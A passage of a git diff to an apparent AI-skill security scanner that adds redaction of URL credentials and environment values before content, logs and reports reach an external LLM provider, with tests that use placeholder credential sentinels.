STRUCTURED_RESPONSE_MAX_RETRIES, @@ -735,7 +771,7 @@ def _invoke_batch_with_retries(self, batch: Batch, prompt: str) -> tuple[Batch, connection_retries += 1 logger.warning( "LLM connection failed for %s; retrying in %.2fs (%d/%d)", - batch.file_label, + _provider_safe_text(batch.file_label), delay, connection_retries, API_CONNECTION_MAX_RETRIES, @@ -746,23 +782,27 @@ def _invoke_batch_with_retries(self, batch: Batch, prompt: str) -> tuple[Batch, async def _ainvoke_batch(self, batch: Batch, prompt: str) -> tuple[Batch, list]: """Invoke and parse one batch asynchronously.""" + safe_label = _provider_safe_text(batch.file_label) logger.debug( "LLM call for %s (tokens~%d, findings=%d)", - batch.file_label, + safe_label, estimate_tokens(prompt), len(batch.findings), ) llm, structured_llm = self._model_for_call() + provider_prompt = _redacted_prompt(prompt) if structured_llm: try: - response = await _ainvoke_with_usage(structured_llm, prompt, self._usage_collector) + response = await _ainvoke_with_usage( + structured_llm, provider_prompt, self._usage_collector + ) except (StructuredOutputParseError, ValidationError) as exc: raise _StructuredResponseValidationError from exc else: response = _raw_response_text( - await _ainvoke_with_usage(llm, prompt, self._usage_collector) + await _ainvoke_with_usage(llm, provider_prompt, self._usage_collector) ) - logger.debug("LLM response for %s", batch.file_label) + logger.debug("LLM response for %s", safe_label) return batch, self.parse_response(response, batch) async def _ainvoke_batch_with_retries(self, batch: Batch, prompt: str) -> tuple[Batch, list]: @@ -772,6 +812,8 @@ async def _ainvoke_batch_with_retries(self, batch: Batch, prompt: str) -> tuple[ for attempt in range(1, LLM_BATCH_MAX_ATTEMPTS + 1): try: return await self._ainvoke_batch(batch, prompt) + except _PromptRedactionIncompleteError: + raise except _StructuredResponseValidationError: if ( structured_retries >= STRUCTURED_RESPONSE_MAX_ATTEMPTS - 1 @@ -783,7 +825,7 @@ async def _ainvoke_batch_with_retries(self, batch: Batch, prompt: str) -> tuple[ structured_retries += 1 logger.warning( "LLM structured response validation failed for %s; retrying in %.2fs (%d/%d)", - batch.file_label, + _provider_safe_text(batch.file_label), delay, structured_retries, STRUCTURED_RESPONSE_MAX_RETRIES, @@ -804,7 +846,7 @@ async def _ainvoke_batch_with_retries(self, batch: Batch, prompt: str) -> tuple[ connection_retries += 1 logger.warning( "LLM connection failed for %s; retrying in %.2fs (%d/%d)", - batch.file_label, + _provider_safe_text(batch.file_label), delay, connection_retries, API_CONNECTION_MAX_RETRIES, @@ -840,10 +882,18 @@ def run_batches_detailed( prompt = self.build_prompt(batch, **kwargs) result = self._invoke_batch_with_retries(batch, prompt) outcome.successful.append(result) + except _PromptRedactionIncompleteError: + outcome.failures.append( + BatchFailure( + batch=batch, + error_class="PromptRedactionIncomplete", + reason=LedgerReason.LLM_BATCH_FAILED, + ) + ) except _StructuredResponseValidationError: logger.warning( "LLM structured response validation failed for %s after %d attempts", - batch.file_label, + _provider_safe_text(batch.file_label), STRUCTURED_RESPONSE_MAX_ATTEMPTS, ) outcome.failures.append( @@ -864,7 +914,10 @@ def run_batches_detailed( except (ValueError, NotImplementedError): raise except Exception as exc: - logger.warning("LLM batch failed for %s: %s", batch.file_label, exc) + logger.warning( + "LLM batch failed for %s", + _provider_safe_text(batch.file_label), + ) outcome.failures.append( BatchFailure( batch=batch, @@ -942,10 +995,19 @@ async def _process(batch: Batch) -> tuple[Batch, list]: results = await asyncio.gather(*[_process(b) for b in batches], return_exceptions=True) outcome = BatchExecutionResult() for batch, result in zip(batches, results, strict=True): + if isinstance(result, _PromptRedactionIncompleteError): + outcome.failures.append( + BatchFailure( + batch=batch, + error_class="PromptRedactionIncomplete", + reason=LedgerReason.LLM_BATCH_FAILED, + ) + ) + continue if isinstance(result, _StructuredResponseValidationError): logger.warning( "LLM structured response validation failed for %s after %d attempts", - batch.file_label, + _provider_safe_text(batch.file_label), STRUCTURED_RESPONSE_MAX_ATTEMPTS, ) outcome.failures.append( @@ -968,7 +1030,10 @@ async def _process(batch: Batch) -> tuple[Batch, list]: if isinstance(result, (ValueError, NotImplementedError)): raise result if isinstance(result, BaseException): - logger.warning("LLM batch failed for %s: %s", batch.file_label, result) + logger.warning( + "LLM batch failed for %s", + _provider_safe_text(batch.file_label), + ) outcome.failures.append( BatchFailure( batch=batch, diff --git a/src/skillspector/nodes/build_context.py b/src/skillspector/nodes/build_context.py index f9746051..b86b79d3 100644 --- a/src/skillspector/nodes/build_context.py +++ b/src/skillspector/nodes/build_context.py @@ -80,6 +80,7 @@ transitive_traversal_state, ) from skillspector.structured_skill import extract_structured_skill_context_from_cache +from skillspector.url_redaction import redact_text_result logger = get_logger(__name__) @@ -734,19 +735,24 @@ def _expired(path: str) -> bool: return metadata, has_executable -def _redact_for_external_model(path: str, content: str) -> str: - """Redact values from local environment files before external-model use.""" +def _redact_for_external_model(path: str, content: str) -> str | None: + """Return a fully redacted provider copy, or ``None`` when redaction is incomplete.""" name = Path(path).name.lower() - if name != ".env" and not name.startswith(".env."): - return content - lines: list[str] = [] - for line in content.splitlines(keepends=True): - match = re.match(r"^(\s*(?:export\s+)?[A-Za-z_][A-Za-z0-9_]*\s*=)(.*?)(\r?\n)?$", line) - if match: - lines.append(f"{match.group(1)}{match.group(3) or ''}") - else: - lines.append(line) - return "".join(lines) + redaction_input = content + if name == ".env" or name.startswith(".env."): + lines: list[str] = [] + for line in content.splitlines(keepends=True): + match = re.match( + r"^(\s*(?:export\s+)?[A-Za-z_][A-Za-z0-9_]*\s*=)(.*?)(\r?\n)?$", + line, + ) + if match: + lines.append(f"{match.group(1)}{match.group(3) or ''}") + else: + lines.append(line) + redaction_input = "".join(lines) + result = redact_text_result(redaction_input) + return result.value if result.complete else None def _is_hidden_path(path: str) -> bool: @@ -783,6 +789,7 @@ def _read_file_cache( *, started_at: float | None = None, state: SkillspectorState | None = None, + redaction_incomplete_paths: list[str] | None = None, ) -> tuple[ dict[str, str], dict[str, bytes], @@ -1090,7 +1097,12 @@ def _record_cache_runtime_limit( ) inventory.append(artifact) if not truncated and not _is_hidden_path(path) and artifact["content_kind"] == "text": - llm_file_cache[path] = _redact_for_external_model(path, content) + provider_content = _redact_for_external_model(path, content) + if provider_content is None: + if redaction_incomplete_paths is not None: + redaction_incomplete_paths.append(path) + else: + llm_file_cache[path] = provider_content if aggregate_truncated: inventory.extend( _opaque_artifact_record( @@ -1703,6 +1715,7 @@ def build_context(state: SkillspectorState) -> dict[str, object]: processing_deadline, processing_started + max(0.0, shared_remaining_seconds), ) + llm_redaction_incomplete_paths: list[str] = [] ( ordinary_file_cache, raw_file_cache, @@ -1714,6 +1727,7 @@ def build_context(state: SkillspectorState) -> dict[str, object]: cache_candidates, started_at=processing_started, state=state, + redaction_incomplete_paths=llm_redaction_incomplete_paths, ) inventory_by_path = {item["path"]: item for item in artifact_inventory} @@ -2184,6 +2198,7 @@ def _mark_runtime_partial(affected_paths: list[str], first_limited_path: str) -> "local_file_cache": local_file_cache, "raw_file_cache": raw_file_cache, "llm_file_cache": llm_file_cache, + "llm_redaction_incomplete_paths": list(dict.fromkeys(llm_redaction_incomplete_paths)), "artifact_inventory": artifact_inventory, "artifact_references": references, "reference_resolution": reference_resolution, diff --git a/src/skillspector/nodes/meta_analyzer.py b/src/skillspector/nodes/meta_analyzer.py index 91c1ce70..e0053885 100644 --- a/src/skillspector/nodes/meta_analyzer.py +++ b/src/skillspector/nodes/meta_analyzer.py @@ -60,12 +60,20 @@ MetaAnalyzerResponse, SkillspectorState, llm_call_record, + merge_inspection_ledger, transitive_remaining_seconds, ) +from skillspector.url_redaction import REDACTED_VALUE, redact_text_result logger = get_logger(__name__) +def _safe_external_text(value: str) -> str: + """Redact provider-derived text before logging or persisting it.""" + result = redact_text_result(value) + return result.value if result.complete else REDACTED_VALUE + + # --------------------------------------------------------------------------- # Structured output schemas # --------------------------------------------------------------------------- @@ -648,6 +656,24 @@ def _runtime_limited_events(findings: list[Finding]) -> list[InspectionLedgerEve return events +def _redaction_incomplete_events(state: SkillspectorState) -> list[InspectionLedgerEvent]: + """Project omitted visible artifacts as bounded, content-free failed meta work.""" + raw_paths = state.get("llm_redaction_incomplete_paths") or [] + paths = list(dict.fromkeys(path for path in raw_paths if isinstance(path, str) and path)) + events = [ + ledger_event( + analyzer_id="meta_analyzer", + outcome=LedgerOutcome.FAILED, + phase="meta", + path=path, + reason=LedgerReason.LLM_BATCH_FAILED, + error_class="ArtifactRedactionIncomplete", + ) + for path in paths + ] + return merge_inspection_ledger([], events) + + def meta_analyzer(state: SkillspectorState) -> MetaAnalyzerResponse: """Filter and enrich findings via per-file LLM calls. @@ -661,19 +687,29 @@ def meta_analyzer(state: SkillspectorState) -> MetaAnalyzerResponse: an LLM call fails. """ findings: list[Finding] = state.get("findings", []) + redaction_events = _redaction_incomplete_events(state) + redaction_incomplete_paths = {event["path"] for event in redaction_events} if not findings: - return { + empty_response: MetaAnalyzerResponse = { "findings": [], "effective_finding_ids": [], - "inspection_ledger": [], + "inspection_ledger": redaction_events, "analyzer_status_events": [ - analyzer_status_event( - analyzer_id="meta_analyzer", - status="not_applicable", - reason=LedgerReason.NO_APPLICABLE_FILES, + ( + analyzer_status_for_events("meta_analyzer", redaction_events) + if redaction_events + else analyzer_status_event( + analyzer_id="meta_analyzer", + status="not_applicable", + reason=LedgerReason.NO_APPLICABLE_FILES, + ) ) ], } + if redaction_events and state.get("use_llm", True) is not False: + empty_response["llm_call_log"] = [llm_call_record("meta_analyzer", ok=False)] + empty_response["inference_usage"] = [] + return empty_response # The workflow deadline applies to the whole graph, including the # deterministic fallback path. Check it before partitioning or cloning @@ -683,7 +719,12 @@ def meta_analyzer(state: SkillspectorState) -> MetaAnalyzerResponse: # meta processing did not start. shared_remaining = transitive_remaining_seconds(state) if shared_remaining is not None and shared_remaining <= 0: - events = _runtime_limited_events(findings) + events = merge_inspection_ledger( + redaction_events, + _runtime_limited_events( + [finding for finding in findings if finding.file not in redaction_incomplete_paths] + ), + ) response: MetaAnalyzerResponse = { "findings": findings, "effective_finding_ids": _effective_finding_ids(findings), @@ -703,15 +744,20 @@ def meta_analyzer(state: SkillspectorState) -> MetaAnalyzerResponse: if state.get("use_llm", True) is False: filtered = _fallback_filtered(findings) + events = redaction_events return { "findings": filtered, "effective_finding_ids": _effective_finding_ids(filtered), - "inspection_ledger": [], + "inspection_ledger": events, "analyzer_status_events": [ - analyzer_status_event( - analyzer_id="meta_analyzer", - status="disabled", - reason=LedgerReason.DISABLED_BY_CONFIGURATION, + ( + analyzer_status_for_events("meta_analyzer", events) + if events + else analyzer_status_event( + analyzer_id="meta_analyzer", + status="disabled", + reason=LedgerReason.DISABLED_BY_CONFIGURATION, + ) ) ], } @@ -740,7 +786,16 @@ def meta_analyzer(state: SkillspectorState) -> MetaAnalyzerResponse: if not eligible_findings: filtered_local = _fallback_filtered(local_only_findings) - events = _local_only_events(filtered_local) + events = merge_inspection_ledger( + redaction_events, + _local_only_events( + [ + finding + for finding in filtered_local + if finding.file not in redaction_incomplete_paths + ] + ), + ) return { "findings": filtered_local, "effective_finding_ids": _effective_finding_ids(filtered_local), @@ -841,7 +896,19 @@ def meta_analyzer(state: SkillspectorState) -> MetaAnalyzerResponse: len(filtered), ) ledger_events, status = _meta_ledger_response(batches, detailed, filtered) - ledger_events.extend(_local_only_events(filtered_local)) + ledger_events = merge_inspection_ledger( + redaction_events, + [ + *ledger_events, + *_local_only_events( + [ + finding + for finding in filtered_local + if finding.file not in redaction_incomplete_paths + ] + ), + ], + ) status = analyzer_status_for_events("meta_analyzer", ledger_events) return { "findings": filtered, @@ -853,7 +920,7 @@ def meta_analyzer(state: SkillspectorState) -> MetaAnalyzerResponse: # partial batch failure (e.g. one file's batch 429'd while # another's succeeded) is still lost coverage, so it must not # read as ok=True just because some batches came back. - llm_call_record("meta_analyzer", ok=not detailed.failures) + llm_call_record("meta_analyzer", ok=not detailed.failures and not redaction_events) ], "inference_usage": analyzer.inference_usage, } @@ -868,8 +935,21 @@ def meta_analyzer(state: SkillspectorState) -> MetaAnalyzerResponse: finding for finding in filtered if finding.finding_id in local_only_ids ] ledger_events = [ - *_runtime_limited_events(filtered_eligible), - *_local_only_events(filtered_local), + *redaction_events, + *_runtime_limited_events( + [ + finding + for finding in filtered_eligible + if finding.file not in redaction_incomplete_paths + ] + ), + *_local_only_events( + [ + finding + for finding in filtered_local + if finding.file not in redaction_incomplete_paths + ] + ), ] return { "findings": filtered, @@ -892,7 +972,11 @@ def meta_analyzer(state: SkillspectorState) -> MetaAnalyzerResponse: ) if isinstance(e, ValueError) and not post_response_value_error: raise - logger.warning("LLM call failed, passing all findings through (fail-closed): %s", e) + safe_error = _safe_external_text(str(e)) + logger.warning( + "LLM call failed, passing all findings through (fail-closed): %s", + safe_error, + ) filtered = _passthrough_with_defaults(findings) filtered_local = [finding for finding in filtered if finding.finding_id in local_only_ids] if post_response_value_error: @@ -905,16 +989,37 @@ def meta_analyzer(state: SkillspectorState) -> MetaAnalyzerResponse: ), filtered, ) - ledger_events.extend(_local_only_events(filtered_local)) + ledger_events = merge_inspection_ledger( + redaction_events, + [ + *ledger_events, + *_local_only_events( + [ + finding + for finding in filtered_local + if finding.file not in redaction_incomplete_paths + ] + ), + ], + ) status = analyzer_status_for_events("meta_analyzer", ledger_events) else: - ledger_events = _local_only_events(filtered_local) + ledger_events = merge_inspection_ledger( + redaction_events, + _local_only_events( + [ + finding + for finding in filtered_local + if finding.file not in redaction_incomplete_paths + ] + ), + ) status = analyzer_status_event(analyzer_id="meta_analyzer", status="unavailable") return { "findings": filtered, "effective_finding_ids": _effective_finding_ids(filtered), "inspection_ledger": ledger_events, "analyzer_status_events": [status], - "llm_call_log": [llm_call_record("meta_analyzer", ok=False, error=str(e))], + "llm_call_log": [llm_call_record("meta_analyzer", ok=False, error=safe_error)], "inference_usage": analyzer.inference_usage if analyzer is not None else [], } diff --git a/src/skillspector/nodes/report.py b/src/skillspector/nodes/report.py index ab4b814d..54bdc7b7 100644 --- a/src/skillspector/nodes/report.py +++ b/src/skillspector/nodes/report.py @@ -28,7 +28,7 @@ from datetime import UTC, datetime from hashlib import sha256 from io import StringIO -from typing import Literal +from typing import Literal, cast from rich.console import Console from rich.markup import escape @@ -63,6 +63,12 @@ ) from skillspector.state import SkillspectorState from skillspector.suppression import Baseline, SuppressedFinding, partition_findings +from skillspector.url_redaction import ( + REDACTED_VALUE, + CodeOwnedMapping, + redact_text_result, + redact_value, +) logger = get_logger(__name__) @@ -105,22 +111,109 @@ def _clean_text(value: str | None) -> str | None: return _CONTROL_RE.sub("", _ANSI_RE.sub("", value)) -def _sanitize_finding(finding: Finding) -> Finding: - """Return a copy of *finding* with control/ANSI bytes stripped from text fields.""" - evidence = { - _clean_text(str(key)) or "": _clean_text(value) if isinstance(value, str) else value - for key, value in finding.evidence.items() +def _sanitize_text(value: str | None) -> str | None: + """Strip terminal controls and fully redact structural URL credentials.""" + cleaned = _clean_text(value) + if not isinstance(cleaned, str): + return cleaned + result = redact_text_result(cleaned) + return result.value if result.complete else REDACTED_VALUE + + +def _unwrap_code_owned(value: object) -> object: + """Remove internal provenance wrappers before any formatter sees the value.""" + if isinstance(value, CodeOwnedMapping): + return {str(key): _unwrap_code_owned(nested) for key, nested in value.items()} + if isinstance(value, list): + return [_unwrap_code_owned(item) for item in value] + if isinstance(value, tuple): + return [_unwrap_code_owned(item) for item in value] + return value + + +def _sanitize_fixed_mapping(values: Mapping[str, object]) -> dict[str, object]: + """Sanitize a mapping whose field names are owned by the report schema.""" + redacted = redact_value(CodeOwnedMapping(cast(Mapping[object, object], values))) + unwrapped = _unwrap_code_owned(redacted) + return unwrapped if isinstance(unwrapped, dict) else {} + + +def _sanitize_arbitrary_value(value: object) -> object: + """Sanitize arbitrary values while failing closed for untrusted nested mappings.""" + if isinstance(value, str): + return _sanitize_text(value) or "" + if isinstance(value, list): + return [_sanitize_arbitrary_value(item) for item in value] + if isinstance(value, tuple): + return [_sanitize_arbitrary_value(item) for item in value] + if isinstance(value, Mapping): + return {} + if value is None or isinstance(value, (bool, int, float)): + return value + return REDACTED_VALUE + + +def _sanitize_evidence(evidence: Mapping[str, object]) -> dict[str, object]: + """Sanitize flat evidence fields and preserve safe container types on failure.""" + sanitized: dict[str, object] = {} + for key, value in evidence.items(): + safe_key = _sanitize_text(str(key)) or "" + if safe_key: + sanitized[safe_key] = _sanitize_arbitrary_value(value) + return sanitized + + +_OCCURRENCE_FIELDS = frozenset( + { + "file", + "start_line", + "end_line", + "source_identity", + "source_digest", + "source_url", + "transitive_depth", } +) + + +def _sanitize_occurrences(occurrences: Sequence[Mapping[str, object]]) -> list[dict[str, object]]: + sanitized: list[dict[str, object]] = [] + for occurrence in occurrences: + fixed = { + key: (_sanitize_text(value) if isinstance(value, str) else value) + for key, value in occurrence.items() + if key in _OCCURRENCE_FIELDS + } + sanitized.append(_sanitize_fixed_mapping(fixed)) + return sanitized + + +def _sanitize_finding(finding: Finding) -> Finding: + """Return a field-wise provider-safe copy without mutating canonical finding state.""" + tags_value = redact_value([_clean_text(tag) or "" for tag in finding.tags]) + tags = list(tags_value) if isinstance(tags_value, list) else [] return replace( finding, - message=_clean_text(finding.message) or "", - explanation=_clean_text(finding.explanation), - remediation=_clean_text(finding.remediation), - finding=_clean_text(finding.finding), - context=_clean_text(finding.context), - matched_text=_clean_text(finding.matched_text), - code_snippet=_clean_text(finding.code_snippet), - evidence=evidence, + rule_id=_sanitize_text(finding.rule_id) or REDACTED_VALUE, + finding_id=_sanitize_text(finding.finding_id) or REDACTED_VALUE, + message=_sanitize_text(finding.message) or "", + severity=_sanitize_text(finding.severity) or "LOW", + file=_sanitize_text(finding.file) or REDACTED_VALUE, + category=_sanitize_text(finding.category), + pattern=_sanitize_text(finding.pattern), + explanation=_sanitize_text(finding.explanation), + remediation=_sanitize_text(finding.remediation), + finding=_sanitize_text(finding.finding), + context=_sanitize_text(finding.context), + matched_text=_sanitize_text(finding.matched_text), + code_snippet=_sanitize_text(finding.code_snippet), + intent=_sanitize_text(finding.intent), + tags=[str(tag) for tag in tags], + source_url=_sanitize_text(finding.source_url), + source_identity=_sanitize_text(finding.source_identity), + source_digest=_sanitize_text(finding.source_digest), + evidence=_sanitize_evidence(finding.evidence), + occurrences=_sanitize_occurrences(finding.occurrences), ) @@ -322,21 +415,171 @@ def _build_sarif_properties( def _sanitize_summary_value(value: object) -> object: - """Return a recursively sanitized copy of structured-summary content.""" - if isinstance(value, str): - return _clean_text(value) - if isinstance(value, list): - return [_sanitize_summary_value(item) for item in value] - if isinstance(value, tuple): - return [_sanitize_summary_value(item) for item in value] - if isinstance(value, dict): - return {str(key): _sanitize_summary_value(item) for key, item in value.items()} - return value + """Return a type-preserving sanitized structured-summary field value.""" + return _sanitize_arbitrary_value(value) def _sanitize_structured_summary(summary: dict[str, object]) -> dict[str, object]: - """Return a structured summary with control/ANSI bytes stripped from text fields.""" - return {str(key): _sanitize_summary_value(value) for key, value in summary.items()} + """Return only the fixed structured-summary output schema, fully redacted.""" + allowed = frozenset( + { + "id", + "message", + "file", + "protocol", + "layout_kind", + "declared_tools", + "workflow_nodes", + "constraints", + "resources", + "tags", + } + ) + values = { + key: _sanitize_summary_value(value) for key, value in summary.items() if key in allowed + } + return _sanitize_fixed_mapping(values) + + +def _sanitize_component_metadata( + components: Sequence[Mapping[str, object]], +) -> list[dict[str, object]]: + """Sanitize the fixed component-report schema and discard unknown fields.""" + allowed = frozenset( + { + "path", + "type", + "lines", + "executable", + "size_bytes", + "source_url", + "source_identity", + "source_digest", + } + ) + sanitized: list[dict[str, object]] = [] + for component in components: + values = { + key: (_sanitize_text(value) if isinstance(value, str) else value) + for key, value in component.items() + if key in allowed + } + sanitized.append(_sanitize_fixed_mapping(values)) + return sanitized + + +_EXCEPTION_FIELDS = frozenset( + { + "outcome", + "phase", + "reason_code", + "message", + "path", + "start_line", + "end_line", + "error_class", + "analyzers", + "fatal", + } +) +_COMPLETENESS_FIELDS = frozenset( + { + "total_components", + "scanned_components", + "coverage_percent", + "is_complete", + "status", + "execution_successful", + "fully_inspected_files", + "partially_inspected_files", + "entirely_uninspected_files", + "ledger_exceptions", + "scope_exclusions", + "analyzer_statuses", + "references", + "limitations", + "findings_before_filtering", + "findings_after_filtering", + } +) +_ANALYZER_STATUS_FIELDS = frozenset({"analyzer_id", "status", "reason_code", "message"}) +_PLANNED_WORK_FIELDS = frozenset({"work_id", "path", "start_line", "end_line"}) +_REFERENCE_FIELDS = frozenset( + {"source_path", "line", "column", "evidence", "target_path", "status", "disposition"} +) + + +def _sanitize_fixed_record( + record: Mapping[str, object], allowed: frozenset[str] +) -> dict[str, object]: + values = { + key: _sanitize_arbitrary_value(value) for key, value in record.items() if key in allowed + } + return _sanitize_fixed_mapping(values) + + +def _sanitize_analysis_completeness( + completeness: Mapping[str, object], +) -> dict[str, object]: + """Sanitize completeness text and fixed exception rows without changing scalar types.""" + sanitized: dict[str, object] = {} + for key, value in completeness.items(): + if key not in _COMPLETENESS_FIELDS: + continue + if key in {"ledger_exceptions", "scope_exclusions"} and isinstance(value, list): + sanitized[key] = [ + _sanitize_fixed_record(item, _EXCEPTION_FIELDS) + for item in value + if isinstance(item, Mapping) + ] + elif key == "analyzer_statuses" and isinstance(value, list): + statuses: list[dict[str, object]] = [] + for item in value: + if not isinstance(item, Mapping): + continue + status = _sanitize_fixed_record(item, _ANALYZER_STATUS_FIELDS) + raw_work = item.get("planned_work") + status["planned_work"] = ( + [ + _sanitize_fixed_record(work, _PLANNED_WORK_FIELDS) + for work in raw_work + if isinstance(work, Mapping) + ] + if isinstance(raw_work, list) + else [] + ) + statuses.append(status) + sanitized[key] = statuses + elif key == "references" and isinstance(value, list): + sanitized[key] = [ + _sanitize_fixed_record(item, _REFERENCE_FIELDS) + for item in value + if isinstance(item, Mapping) + ] + else: + sanitized[key] = _sanitize_arbitrary_value(value) + return sanitized + + +def _sanitize_llm_call_log( + records: Sequence[Mapping[str, object]], +) -> list[dict[str, object]]: + return [ + _sanitize_fixed_record(record, frozenset({"node", "ok", "error"})) for record in records + ] + + +def _sanitize_suppressed_findings( + suppressed: Sequence[SuppressedFinding], +) -> list[SuppressedFinding]: + return [ + replace( + item, + finding=_sanitize_finding(item.finding), + reason=_sanitize_text(item.reason) or REDACTED_VALUE, + ) + for item in suppressed + ] def _severity_to_sarif_level(severity: str) -> Literal["error", "warning", "note"]: @@ -1115,7 +1358,11 @@ def _build_metadata( if degraded: meta["llm_degraded"] = True reasons = sorted( - {str(r.get("error")) for r in llm_call_log if not r.get("ok") and r.get("error")} + { + _sanitize_text(str(r.get("error"))) or REDACTED_VALUE + for r in llm_call_log + if not r.get("ok") and r.get("error") + } ) detail = f" Reasons: {'; '.join(reasons)}" if reasons else "" failed = attempted - succeeded @@ -1124,7 +1371,7 @@ def _build_metadata( f"results reflect static analysis only for the affected batch(es).{detail}" ) elif use_llm and not provider_available: - meta["llm_error"] = llm_error + meta["llm_error"] = _sanitize_text(llm_error) or REDACTED_VALUE if transitive_targets_scanned is not None: meta["transitive_targets_scanned"] = transitive_targets_scanned if transitive_bytes_scanned is not None: @@ -1405,7 +1652,6 @@ def report(state: SkillspectorState) -> dict[str, object]: # Meta/LLM analysis can enrich canonical objects but cannot remove # deterministic findings from primary output. selected_findings = list(findings_by_id.values()) - selected_findings = [_sanitize_finding(finding) for finding in selected_findings] raw_structured_summaries = state.get("structured_summaries") or [] structured_summaries = [ @@ -1443,7 +1689,9 @@ def report(state: SkillspectorState) -> dict[str, object]: skill_path = state.get("skill_path") output_format = state.get("output_format") or "sarif" use_llm = state.get("use_llm", True) - llm_call_log = state.get("llm_call_log") or [] + llm_call_log: Sequence[Mapping[str, object]] = cast( + Sequence[Mapping[str, object]], state.get("llm_call_log") or [] + ) inference_usage = state.get("inference_usage") or [] transitive_targets_scanned = state.get("transitive_targets_scanned") transitive_bytes_scanned = state.get("transitive_bytes_scanned") @@ -1469,9 +1717,10 @@ def report(state: SkillspectorState) -> dict[str, object]: degraded = degraded or provider_unavailable degraded_notice = _llm_degradation_notice(use_llm, llm_call_log) if provider_unavailable and degraded_notice is None: + safe_provider_error = _sanitize_text(provider_error) or REDACTED_VALUE degraded_notice = ( "LLM analysis was requested but the configured provider was unavailable" - f" ({provider_error or 'unknown reason'}); results may reflect static analysis only." + f" ({safe_provider_error}); results may reflect static analysis only." ) if degraded: logger.warning( @@ -1500,7 +1749,6 @@ def report(state: SkillspectorState) -> dict[str, object]: suppressed, limit=remaining_output_records, ) - display_findings = _expand_occurrences(reported_findings) exceptions = analysis_completeness.get("ledger_exceptions", []) fatal_exception = ( any( @@ -1527,6 +1775,21 @@ def report(state: SkillspectorState) -> dict[str, object]: ) and risk_recommendation == "SAFE": risk_recommendation = "CAUTION" + # Canonical internal findings and metadata have now driven suppression, + # deduplication, scoring, and recommendation. Only field-wise copies cross + # public formatter boundaries from this point onward. + reported_findings = [_sanitize_finding(finding) for finding in reported_findings] + suppressed = _sanitize_suppressed_findings(suppressed) + display_findings = _expand_occurrences(reported_findings) + component_metadata = _sanitize_component_metadata(component_metadata) + manifest = {"name": _sanitize_text(str(manifest.get("name") or "unknown")) or REDACTED_VALUE} + skill_path = _sanitize_text(skill_path) + llm_call_log = _sanitize_llm_call_log(llm_call_log) + analysis_completeness = _sanitize_analysis_completeness(analysis_completeness) + transitive_truncation_reasons = [ + _sanitize_text(reason) or REDACTED_VALUE for reason in transitive_truncation_reasons + ] + sarif_report = _build_sarif( reported_findings, suppressed, diff --git a/src/skillspector/state.py b/src/skillspector/state.py index c5f80b6e..333cd28e 100644 --- a/src/skillspector/state.py +++ b/src/skillspector/state.py @@ -219,6 +219,8 @@ class SkillspectorState(TypedDict, total=False): raw_file_cache: dict[str, bytes] # External-model consumers use the redacted projection for sensitive local files. llm_file_cache: dict[str, str] + # Visible artifacts omitted because bounded provider redaction did not complete. + llm_redaction_incomplete_paths: list[str] artifact_inventory: list[ArtifactRecord] artifact_references: list[BundleReference] reference_resolution: dict[str, object] diff --git a/tests/nodes/test_build_context.py b/tests/nodes/test_build_context.py index 51a917de..58871068 100644 --- a/tests/nodes/test_build_context.py +++ b/tests/nodes/test_build_context.py @@ -43,6 +43,11 @@ SkillspectorState, WorkflowResourceBudget, ) +from skillspector.url_redaction import ( + REDACTED_REMAINDER, + TextRedactionIncompleteReason, + TextRedactionResult, +) _OMS_FIXTURE = Path(__file__).parents[1] / "fixtures" / "oms" / "mcore-split-pr.skill.oms.sig" # Pinned from NVIDIA/skills at commit 1f01acfe1aece58ba95d124eafdfb5bb93523db6: @@ -907,6 +912,69 @@ def test_build_context_inventories_hidden_file_for_local_analysis(tmp_path: Path ) +def test_build_context_redacts_visible_config_urls_before_provider_cache(tmp_path: Path) -> None: + """Visible authored configs cross the URL redactor; hidden configs remain local-only.""" + sentinel = "task7-visible-credential" + (tmp_path / "SKILL.md").write_text("# Skill\n", encoding="utf-8") + (tmp_path / "pip.conf").write_text( + "[global]\n" + f"index-url = https://user:{sentinel}@packages.example.invalid/private?token={sentinel}\n", + encoding="utf-8", + ) + (tmp_path / "pyproject.toml").write_text( + f'[tool.uv]\nindex-url = "https://user:{sentinel}@python.example.invalid/simple"\n', + encoding="utf-8", + ) + (tmp_path / ".npmrc").write_text( + f"registry=https://user:{sentinel}@npm.example.invalid/private\n", + encoding="utf-8", + ) + + result = build_context({"skill_path": str(tmp_path)}) + + provider_projection = json.dumps(result["llm_file_cache"], sort_keys=True) + assert sentinel not in provider_projection + assert "packages.example.invalid" in provider_projection + assert "python.example.invalid" in provider_projection + assert ".npmrc" not in result["llm_file_cache"] + assert sentinel in result["local_file_cache"][".npmrc"] + assert result["llm_redaction_incomplete_paths"] == [] + + +def test_build_context_omits_visible_artifact_when_url_redaction_is_incomplete( + tmp_path: Path, monkeypatch: pytest.MonkeyPatch +) -> None: + """An incomplete visible-artifact redaction is omitted and projected by bounded path.""" + import skillspector.nodes.build_context as build_context_module + + sentinel = "task7-incomplete-visible-artifact" + (tmp_path / "SKILL.md").write_text("# Skill\n", encoding="utf-8") + (tmp_path / "pip.conf").write_text( + f"index-url = https://user:{sentinel}@packages.example.invalid/private\n", + encoding="utf-8", + ) + real_redactor = build_context_module.redact_text_result + + def bounded_redactor(value: str) -> TextRedactionResult: + if sentinel in value: + return TextRedactionResult( + REDACTED_REMAINDER, + False, + 0, + TextRedactionIncompleteReason.CANDIDATE_LIMIT, + ) + return real_redactor(value) + + monkeypatch.setattr(build_context_module, "redact_text_result", bounded_redactor) + + result = build_context({"skill_path": str(tmp_path)}) + + assert "pip.conf" not in result["llm_file_cache"] + assert "pip.conf" not in result["llm_components"] + assert result["llm_redaction_incomplete_paths"] == ["pip.conf"] + assert sentinel in result["local_file_cache"]["pip.conf"] + + def test_build_context_reports_read_error_without_fake_empty_content( tmp_path: Path, monkeypatch: pytest.MonkeyPatch ) -> None: diff --git a/tests/nodes/test_meta_analyzer.py b/tests/nodes/test_meta_analyzer.py index 5ad2aadd..54e6242c 100644 --- a/tests/nodes/test_meta_analyzer.py +++ b/tests/nodes/test_meta_analyzer.py @@ -22,10 +22,20 @@ from __future__ import annotations +import logging from unittest.mock import AsyncMock, MagicMock, patch +import pytest +from langchain_core.messages import AIMessage + from skillspector.inspection_ledger import LedgerOutcome, LedgerReason, finalize_ledger -from skillspector.llm_analyzer_base import Batch, BatchExecutionResult, BatchFailure +from skillspector.llm_analyzer_base import ( + Batch, + BatchExecutionResult, + BatchFailure, + LLMAnalyzerBase, +) +from skillspector.llm_utils import run_async from skillspector.models import Finding from skillspector.nodes.analyzers import static_patterns_anti_refusal from skillspector.nodes.analyzers.static_runner import analyzer_finding_to_finding @@ -97,6 +107,45 @@ def _assert_preserved_ar2(result: 